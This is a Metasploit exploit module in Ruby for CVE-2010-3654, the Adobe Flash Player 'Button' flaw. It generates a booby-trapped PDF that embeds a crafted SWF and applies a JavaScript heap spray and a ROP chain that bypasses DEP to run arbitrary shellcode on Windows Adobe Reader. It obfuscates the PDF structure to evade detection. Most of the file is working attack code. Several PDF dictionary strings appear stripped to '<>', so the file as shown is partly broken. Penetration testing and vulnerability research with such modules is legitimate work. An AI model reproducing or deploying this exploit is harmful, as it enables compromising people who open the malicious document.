## # $Id: adobe_flashplayer_button.rb 10857 2010-11-01 22:34:13Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Flash Player "Button" Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability in the handling of certain SWF movies within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also vulnerable, as are any other applications that may embed Flash player. Arbitrary code execution is achieved by embedding a specially crafted Flash movie into a PDF document. An AcroJS heap spray is used in order to ensure that the memory used by the invalid pointer issue is controlled. NOTE: This module uses a similar DEP bypass method to that used within the adobe_libtiff module. This method is unlikely to work across various Windows versions due a the hardcoded syscall number. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Found being openly exploited 'Haifei Li', # PoC 'jduck' # Metasploit version ], 'Version' => '$Revision: 10857 $', 'References' => [ ['CVE', '2010-3654'], ['OSVDB', '68932'], ['BID', '44504'], ['URL', 'http://www.adobe.com/support/security/advisories/apsa10-05.html'], ['URL', 'http://blog.fortinet.com/fuzz-my-life-flash-player-zero-day-vulnerability-cve-2010-3654/'], #PoC # For SWF->PDF embedding ['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # Tested OK via Adobe Reader 9.4.0 on Windows XP SP3 (uses flash 10.1.85.3) -jjd [ 'Automatic', { }], ], 'DisclosureDate' => 'Oct 28 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), ], self.class) end def exploit swf_data = make_swf() js_data = make_js(payload.encoded) # Create the pdf pdf = make_pdf(swf_data, js_data) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def make_swf # load the static swf file path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2010-3654.swf" ) fd = File.open( path, "rb" ) swf_data = fd.read(fd.stat.size) fd.close swf_data end def make_js(encoded_payload) # The following executes a ret2lib using BIB.dll # The effect is to bypass DEP and execute the shellcode in an indirect way stack_data = [ 0xc0c0c0c, 0x7002fe1, # mov edx,[esi+0x18] / test edx,edx / je +0x12 / mov eax,[esi+0xc] / mov ecx,[esi+4] / push eax / push ecx / push esi / call edx 0xcccccccc, 0xcccccccc, 0xc0c0c0c + 0x10, 0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret 0xcccccccc, 0x70048ef, # xchg eax,esp / ret 0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8] 0xcccccccc, 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009033, # ret 0x18 0x7009084, # ret 0xc0c0c0c, 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7001599, # pop ebp / ret 0x10124, 0x70072f7, # pop eax / ret 0x10104, 0x70015bb, # pop ecx / ret 0x1000, 0x700154d, # mov [eax], ecx / ret 0x70015bb, # pop ecx / ret 0x7ffe0300, # -- location of KiFastSystemCall 0x7007fb2, # mov eax, [ecx] / ret 0x70015bb, # pop ecx / ret 0x10011, 0x700a8ac, # mov [ecx], eax / xor eax,eax / ret 0x70015bb, # pop ecx / ret 0x10100, 0x700a8ac, # mov [ecx], eax / xor eax,eax / ret 0x70072f7, # pop eax / ret 0x10011, 0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?) 0x7005c54, # pop esi / add esp,0x14 / ret 0xffffffff, 0x10100, 0x0, 0x10104, 0x1000, 0x40, # The next bit effectively copies data from the interleaved stack to the memory # pointed to by eax # The data copied is: # \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83 # \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff # \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90 0x700d731, # mov eax, [ebp-0x24] / ret 0x70015bb, # pop ecx / ret 0x9054905a, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x5815eb5a, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x18891a8b, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x8304c083, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0xfb8104c2, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0xc0c0c0c, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x5ebee75, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0xffffe6e8, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x909090ff, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x90909090, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x90909090, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x90ffffff, 0x700154d, # mov [eax], ecx / ret 0x700d731, # mov eax, [ebp-0x24] / ret 0x700112f # call eax -- (execute stub to transition to full shellcode) ].pack('V*') var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_s = 0x10000 var_c = rand_text_alpha(rand(100) + 1) var_b = rand_text_alpha(rand(100) + 1) var_d = rand_text_alpha(rand(100) + 1) var_3 = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_4 = rand_text_alpha(rand(100) + 1) payload_buf = '' payload_buf << stack_data payload_buf << encoded_payload escaped_payload = Rex::Text.to_unescape(payload_buf) js = %Q| var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' ); var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c}; #{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2); #{var_b} += #{var_shellcode}; #{var_b} += #{var_c}; #{var_d} = #{var_b}.substring(0, #{var_s}/2); while(#{var_d}.length < 0x80000) #{var_d} += #{var_d}; #{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2); var #{var_4} = new Array(); for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; | js end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj\n" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(swf, js) swf_name = rand_text_alpha(8 + rand(8)) + ".swf" xref = [] eol = "\n" endobj = "endobj" << eol # Randomize PDF version? pdf = "%PDF-1.5" << eol #pdf << "%" << RandomNonASCIIString(4) << eol # catalog xref << pdf.length pdf << ioDef(1) << nObfu("<>") pdf << eol << endobj # pages array xref << pdf.length pdf << ioDef(3) << nObfu("<>") << eol << endobj # page 1 xref << pdf.length pdf << ioDef(4) << nObfu("<>") pdf << eol << endobj # js action xref << pdf.length pdf << ioDef(5) << nObfu("<>" << eol << endobj # js stream xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(6) << nObfu("<>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj # swf annotation object xref << pdf.length pdf << ioDef(7) << nObfu("<>") pdf << eol << endobj # rich media settings xref << pdf.length pdf << ioDef(8) pdf << nObfu("<>") pdf << eol << endobj # rich media content xref << pdf.length pdf << ioDef(9) pdf << nObfu("<>") pdf << eol << endobj # rich media activation / deactivation xref << pdf.length pdf << ioDef(10) pdf << nObfu("<>") pdf << eol << endobj xref << pdf.length pdf << ioDef(11) pdf << nObfu("<>") pdf << eol << endobj # rich media assets xref << pdf.length pdf << ioDef(12) pdf << nObfu("<>") pdf << eol << endobj # swf embeded file ref xref << pdf.length pdf << ioDef(13) pdf << nObfu("<> /F(#{swf_name})>>") pdf << eol << endobj # rich media configuration xref << pdf.length pdf << ioDef(14) pdf << nObfu("<>") pdf << eol << endobj # rich media isntance xref << pdf.length pdf << ioDef(15) pdf << nObfu("<>") pdf << eol << endobj # swf stream # NOTE: This data is already compressed, no need to compress it again... xref << pdf.length pdf << ioDef(16) << nObfu("<>" % swf.length) << eol pdf << "stream" << eol pdf << swf << eol pdf << "endstream" << eol pdf << endobj # trailing stuff xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << eol pdf << nObfu("<>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol pdf end end